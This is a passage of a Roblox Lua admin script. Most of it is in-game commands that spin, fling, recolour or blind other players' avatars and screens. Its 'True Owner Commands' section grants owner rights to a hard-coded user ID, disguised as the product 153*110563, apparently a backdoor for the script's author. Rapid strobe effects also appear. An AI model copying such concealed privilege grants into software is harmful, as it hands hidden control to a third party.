  1682. game.Lighting.Brightness = 1
  1683. game.Lighting.TimeOfDay = 14
  1684. wait(.1)
  1685. game.Lighting.Ambient = Color3.new(0,0,0)
  1686. game.Lighting.FogColor = Color3.new(0,0,0)
  1687. game.Lighting.Brightness = 0
  1688. game.Lighting.TimeOfDay = 0
  1689. until nil]]
  1690. table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
  1691. end
  1692.  
  1693. if msg:lower():sub(1,5) == "spin " then
  1694. local plrz = GetPlr(plr, msg:lower():sub(6))
  1695. for i, v in pairs(plrz) do
  1696. coroutine.resume(coroutine.create(function()
  1697. if v and v.Character and v.Character:findFirstChild("Torso") then
  1698. for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
  1699. local torso = v.Character:findFirstChild("Torso")
  1700. local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
  1701. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  1702. until not bg or bg.Parent ~= torso
  1703. end
  1704. end))
  1705. end
  1706. end
  1707.  
  1708. if msg:lower():sub(1,7) == "unspin " then
  1709. local plrz = GetPlr(plr, msg:lower():sub(8))
  1710. for i, v in pairs(plrz) do
  1711. coroutine.resume(coroutine.create(function()
  1712. if v and v.Character and v.Character:findFirstChild("Torso") then
  1713. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  1714. end
  1715. end))
  1716. end
  1717. end
  1718.  
  1719. if msg:lower():sub(1,4) == "dog " then
  1720. local plrz = GetPlr(plr, msg:lower():sub(5))
  1721. for i, v in pairs(plrz) do
  1722. coroutine.resume(coroutine.create(function()
  1723. if v and v.Character and v.Character:findFirstChild("Torso") then
  1724. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1725. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1726. v.Character.Torso.Transparency = 1
  1727. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1728. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  1729. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  1730. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  1731. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  1732. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  1733. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  1734. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  1735. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  1736. end
  1737. end))
  1738. end
  1739. end
  1740.  
  1741. if msg:lower():sub(1,6) == "undog " then
  1742. local plrz = GetPlr(plr, msg:lower():sub(7))
  1743. for i, v in pairs(plrz) do
  1744. coroutine.resume(coroutine.create(function()
  1745. if v and v.Character and v.Character:findFirstChild("Torso") then
  1746. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1747. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1748. v.Character.Torso.Transparency = 0
  1749. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1750. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1751. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1752. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1753. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1754. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1755. end
  1756. end))
  1757. end
  1758. end
  1759.  
  1760. if msg:lower():sub(1,8) == "creeper " then
  1761. local plrz = GetPlr(plr, msg:lower():sub(9))
  1762. for i, v in pairs(plrz) do
  1763. coroutine.resume(coroutine.create(function()
  1764. if v and v.Character and v.Character:findFirstChild("Torso") then
  1765. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1766. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1767. v.Character.Torso.Transparency = 0
  1768. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1769. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  1770. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  1771. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  1772. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  1773. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  1774. end
  1775. end))
  1776. end
  1777. end
  1778.  
  1779. if msg:lower():sub(1,10) == "uncreeper " then
  1780. local plrz = GetPlr(plr, msg:lower():sub(11))
  1781. for i, v in pairs(plrz) do
  1782. coroutine.resume(coroutine.create(function()
  1783. if v and v.Character and v.Character:findFirstChild("Torso") then
  1784. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1785. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1786. v.Character.Torso.Transparency = 0
  1787. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1788. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1789. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1790. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1791. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1792. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  1793. end
  1794. end))
  1795. end
  1796. end
  1797.  
  1798. if msg:lower():sub(1,8) == "bighead " then
  1799. local plrz = GetPlr(plr, msg:lower():sub(9))
  1800. for i, v in pairs(plrz) do
  1801. coroutine.resume(coroutine.create(function()
  1802. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1803. end))
  1804. end
  1805. end
  1806.  
  1807. if msg:lower():sub(1,9) == "minihead " then
  1808. local plrz = GetPlr(plr, msg:lower():sub(10))
  1809. for i, v in pairs(plrz) do
  1810. coroutine.resume(coroutine.create(function()
  1811. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  1812. end))
  1813. end
  1814. end
  1815.  
  1816. if msg:lower():sub(1,6) == "fling " then
  1817. local plrz = GetPlr(plr, msg:lower():sub(7))
  1818. for i, v in pairs(plrz) do
  1819. coroutine.resume(coroutine.create(function()
  1820. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  1821. local xran local zran
  1822. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1823. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1824. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  1825. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1826. end
  1827. end))
  1828. end
  1829. end
  1830.  
  1831. if msg:lower():sub(1,8) == "seizure " then
  1832. local plrz = GetPlr(plr, msg:lower():sub(9))
  1833. for i, v in pairs(plrz) do
  1834. coroutine.resume(coroutine.create(function()
  1835. if v and v.Character then
  1836. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  1837. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  1838. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  1839. end
  1840. end))
  1841. end
  1842. end
  1843.  
  1844. if msg:lower():sub(1,10) == "unseizure " then
  1845. local plrz = GetPlr(plr, msg:lower():sub(11))
  1846. for i, v in pairs(plrz) do
  1847. coroutine.resume(coroutine.create(function()
  1848. if v and v.Character then
  1849. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  1850. wait(.1) v.Character.Humanoid.PlatformStand = false
  1851. end
  1852. end))
  1853. end
  1854. end
  1855.  
  1856. if msg:lower():sub(1,12) == "removelimbs " then
  1857. local plrz = GetPlr(plr, msg:lower():sub(13))
  1858. for i, v in pairs(plrz) do
  1859. coroutine.resume(coroutine.create(function()
  1860. if v and v.Character then
  1861. for a, obj in pairs(v.Character:children()) do
  1862. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  1863. end
  1864. end
  1865. end))
  1866. end
  1867. end
  1868.  
  1869. if msg:lower():sub(1,5) == "name " then
  1870. local chk1 = msg:lower():sub(6):find(" ") + 5
  1871. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1872. for i, v in pairs(plrz) do
  1873. coroutine.resume(coroutine.create(function()
  1874. if v and v.Character and v.Character:findFirstChild("Head") then
  1875. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1876. local char = v.Character
  1877. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1878. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1879. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1880. char.Head.Transparency = 1
  1881. end
  1882. end))
  1883. end
  1884. end
  1885.  
  1886. if msg:lower():sub(1,7) == "unname " then
  1887. local plrz = GetPlr(plr, msg:lower():sub(8))
  1888. for i, v in pairs(plrz) do
  1889. coroutine.resume(coroutine.create(function()
  1890. if v and v.Character and v.Character:findFirstChild("Head") then
  1891. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1892. end
  1893. end))
  1894. end
  1895. end
  1896.  
  1897. if msg:lower():sub(1,5) == "char " then
  1898. local chk1 = msg:lower():sub(6):find(" ") + 5
  1899. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1900. for i, v in pairs(plrz) do
  1901. coroutine.resume(coroutine.create(function()
  1902. if v and v.Character then
  1903. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1904. v:LoadCharacter()
  1905. end
  1906. end))
  1907. end
  1908. end
  1909.  
  1910. if msg:lower():sub(1,7) == "unchar " then
  1911. local plrz = GetPlr(plr, msg:lower():sub(8))
  1912. for i, v in pairs(plrz) do
  1913. coroutine.resume(coroutine.create(function()
  1914. if v and v.Character then
  1915. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1916. v:LoadCharacter()
  1917. end
  1918. end))
  1919. end
  1920. end
  1921.  
  1922. if msg:lower():sub(1,7) == "infect " then
  1923. local plrz = GetPlr(plr, msg:lower():sub(8))
  1924. for i, v in pairs(plrz) do
  1925. coroutine.resume(coroutine.create(function()
  1926. if v and v.Character then
  1927. Infect(v.Character)
  1928. end
  1929. end))
  1930. end
  1931. end
  1932.  
  1933. if msg:lower():sub(1,11) == "rainbowify " then
  1934. local plrz = GetPlr(plr, msg:lower():sub(12))
  1935. for i, v in pairs(plrz) do
  1936. coroutine.resume(coroutine.create(function()
  1937. if v and v.Character and v.Character:findFirstChild("Torso") then
  1938. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1939. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1940. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1941. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1942. cl.Parent = v.Character cl.Disabled = false
  1943. end
  1944. end))
  1945. end
  1946. end
  1947.  
  1948. if msg:lower():sub(1,9) == "flashify " then
  1949. local plrz = GetPlr(plr, msg:lower():sub(10))
  1950. for i, v in pairs(plrz) do
  1951. coroutine.resume(coroutine.create(function()
  1952. if v and v.Character and v.Character:findFirstChild("Torso") then
  1953. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1954. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1955. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1956. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1957. cl.Parent = v.Character cl.Disabled = false
  1958. end
  1959. end))
  1960. end
  1961. end
  1962.  
  1963. if msg:lower():sub(1,8) == "noobify " then
  1964. local plrz = GetPlr(plr, msg:lower():sub(9))
  1965. for i, v in pairs(plrz) do
  1966. coroutine.resume(coroutine.create(function()
  1967. if v and v.Character then
  1968. Noobify(v.Character)
  1969. end
  1970. end))
  1971. end
  1972. end
  1973.  
  1974. if msg:lower():sub(1,9) == "ghostify " then
  1975. local plrz = GetPlr(plr, msg:lower():sub(10))
  1976. for i, v in pairs(plrz) do
  1977. coroutine.resume(coroutine.create(function()
  1978. if v and v.Character and v.Character:findFirstChild("Torso") then
  1979. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1980. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1981. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1982. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1983. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1984. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1985. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1986. end end
  1987. end
  1988. end))
  1989. end
  1990. end
  1991.  
  1992. if msg:lower():sub(1,8) == "goldify " then
  1993. local plrz = GetPlr(plr, msg:lower():sub(9))
  1994. for i, v in pairs(plrz) do
  1995. coroutine.resume(coroutine.create(function()
  1996. if v and v.Character and v.Character:findFirstChild("Torso") then
  1997. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1998. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1999. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2000. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2001. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2002. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2003. end end
  2004. end
  2005. end))
  2006. end
  2007. end
  2008.  
  2009. if msg:lower():sub(1,6) == "shiny " then
  2010. local plrz = GetPlr(plr, msg:lower():sub(7))
  2011. for i, v in pairs(plrz) do
  2012. coroutine.resume(coroutine.create(function()
  2013. if v and v.Character and v.Character:findFirstChild("Torso") then
  2014. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2015. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2016. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2017. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2018. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2019. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2020. end end
  2021. end
  2022. end))
  2023. end
  2024. end
  2025.  
  2026. if msg:lower():sub(1,7) == "normal " then
  2027. local plrz = GetPlr(plr, msg:lower():sub(8))
  2028. for i, v in pairs(plrz) do
  2029. coroutine.resume(coroutine.create(function()
  2030. if v and v.Character and v.Character:findFirstChild("Torso") then
  2031. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2032. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2033. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2034. v.Character.Torso.Transparency = 0
  2035. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2036. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2037. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2038. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2039. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2040. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2041. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2042. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2043. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2044. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2045. end end
  2046. end
  2047. end))
  2048. end
  2049. end
  2050.  
  2051. if msg:lower():sub(1,7) == "trippy " then
  2052. local plrz = GetPlr(plr, msg:lower():sub(8))
  2053. for i, v in pairs(plrz) do
  2054. coroutine.resume(coroutine.create(function()
  2055. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2056. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2057. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2058. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2059. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2060. end
  2061. end))
  2062. end
  2063. end
  2064.  
  2065. if msg:lower():sub(1,9) == "untrippy " then
  2066. local plrz = GetPlr(plr, msg:lower():sub(10))
  2067. for i, v in pairs(plrz) do
  2068. coroutine.resume(coroutine.create(function()
  2069. if v and v:findFirstChild("PlayerGui") then
  2070. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2071. end
  2072. end))
  2073. end
  2074. end
  2075.  
  2076. if msg:lower():sub(1,7) == "strobe " then
  2077. local plrz = GetPlr(plr, msg:lower():sub(8))
  2078. for i, v in pairs(plrz) do
  2079. coroutine.resume(coroutine.create(function()
  2080. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2081. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2082. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2083. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2084. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2085. end
  2086. end))
  2087. end
  2088. end
  2089.  
  2090. if msg:lower():sub(1,9) == "unstrobe " then
  2091. local plrz = GetPlr(plr, msg:lower():sub(10))
  2092. for i, v in pairs(plrz) do
  2093. coroutine.resume(coroutine.create(function()
  2094. if v and v:findFirstChild("PlayerGui") then
  2095. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2096. end
  2097. end))
  2098. end
  2099. end
  2100.  
  2101. if msg:lower():sub(1,6) == "blind " then
  2102. local plrz = GetPlr(plr, msg:lower():sub(7))
  2103. for i, v in pairs(plrz) do
  2104. coroutine.resume(coroutine.create(function()
  2105. if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then
  2106. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2107. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2108. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2109. end
  2110. end))
  2111. end
  2112. end
  2113.  
  2114. if msg:lower():sub(1,8) == "unblind " then
  2115. local plrz = GetPlr(plr, msg:lower():sub(9))
  2116. for i, v in pairs(plrz) do
  2117. coroutine.resume(coroutine.create(function()
  2118. if v and v:findFirstChild("PlayerGui") then
  2119. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2120. end
  2121. end))
  2122. end
  2123. end
  2124.  
  2125. if msg:lower():sub(1,7) == "guifix " then
  2126. local plrz = GetPlr(plr, msg:lower():sub(8))
  2127. for i, v in pairs(plrz) do
  2128. coroutine.resume(coroutine.create(function()
  2129. if v and v:findFirstChild("PlayerGui") then
  2130. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2131. end
  2132. end))
  2133. end
  2134. end
  2135.  
  2136. if msg:lower():sub(1,9) == "loopheal " then
  2137. local plrz = GetPlr(plr, msg:lower():sub(10))
  2138. for i, v in pairs(plrz) do
  2139. if v then
  2140. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2141. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2142. repeat wait()
  2143. coroutine.resume(coroutine.create(function()
  2144. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2145. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2146. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2147. end
  2148. end))
  2149. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2150. end
  2151. end
  2152. end
  2153.  
  2154. if msg:lower():sub(1,11) == "unloopheal " then
  2155. local plrz = GetPlr(plr, msg:lower():sub(12))
  2156. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2157. end
  2158.  
  2159. if msg:lower():sub(1,10) == "loopfling " then
  2160. local plrz = GetPlr(plr, msg:lower():sub(11))
  2161. for i, v in pairs(plrz) do
  2162. if v then
  2163. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2164. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2165. repeat
  2166. coroutine.resume(coroutine.create(function()
  2167. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2168. local xran local zran
  2169. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2170. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2171. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2172. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2173. end
  2174. end))
  2175. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2176. end
  2177. end
  2178. end
  2179.  
  2180. if msg:lower():sub(1,12) == "unloopfling " then
  2181. local plrz = GetPlr(plr, msg:lower():sub(13))
  2182. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2183. end
  2184.  
  2185. end
  2186.  
  2187. -------------------------
  2188. -- True Owner Commands --
  2189. -------------------------
  2190.  
  2191. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2192.  
  2193. if msg:lower():sub(1,3) == "oa " then
  2194. local plrz = GetPlr(plr, msg:lower():sub(4))
  2195. for i, v in pairs(plrz) do
  2196. coroutine.resume(coroutine.create(function()
  2197. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2198. end))
  2199. end
  2200. end
  2201.  
  2202. if msg:lower():sub(1,5) == "unoa " then
  2203. for i = 1, #owners do
  2204. coroutine.resume(coroutine.create(function()
  2205. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2206. end))
  2207. end
  2208. end
  2209.  
  2210. if msg:lower() == "settings" then
